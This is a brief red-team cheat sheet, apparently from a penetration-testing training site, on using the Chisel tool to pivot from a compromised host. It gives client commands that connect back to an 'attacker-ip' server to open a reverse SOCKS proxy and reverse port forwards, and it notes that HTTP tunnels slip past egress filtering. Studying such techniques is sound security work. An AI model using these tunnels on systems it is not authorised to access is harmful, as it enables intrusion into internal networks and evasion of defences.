Chisel Cheat Sheet

Chisel is a fast TCP/UDP tunnel that runs over HTTP, for pivoting when SSH isn't an option on the foothold you've landed on.

Red Team / Offensive Use

SSH tunneling covers a lot of pivoting scenarios, but not every compromised host has SSH access available or installed. Chisel fills that gap: drop a single static binary on the target, run a client/server pair, and get the same kind of port forwarding SSH would give you, tunneled over plain HTTP (which is far less likely to get blocked by egress filtering than an arbitrary port would be).

Established Cheatsheet

Official chisel GitHub repo — the project's own README covers client/server setup and all forwarding modes directly from the source.

PWNMI's Top 4 Use Cases

• chisel server -p 8000 --reverse — start a chisel server on your attacking machine, --reverse allows the client to request reverse port forwards
• chisel client attacker-ip:8000 R:socks — run on the compromised host, connects back and sets up a SOCKS proxy on your attacking machine through the tunnel
• chisel client attacker-ip:8000 R:8080:internal-host:80 — reverse port forward: expose internal-host:80 (only reachable from the compromised host) on localhost:8080 on your attacking machine
• chisel server -p 8000 --socks5 — run the server itself in SOCKS5 mode directly, a simpler setup when you don't need arbitrary reverse forwards

Next step

See the SSH cheat sheet for the equivalent forwarding patterns when SSH access is available — the concepts transfer directly, chisel is just the fallback when it isn't. New to pivoting concepts entirely? Start with Pivoting and Tunneling Fundamentals.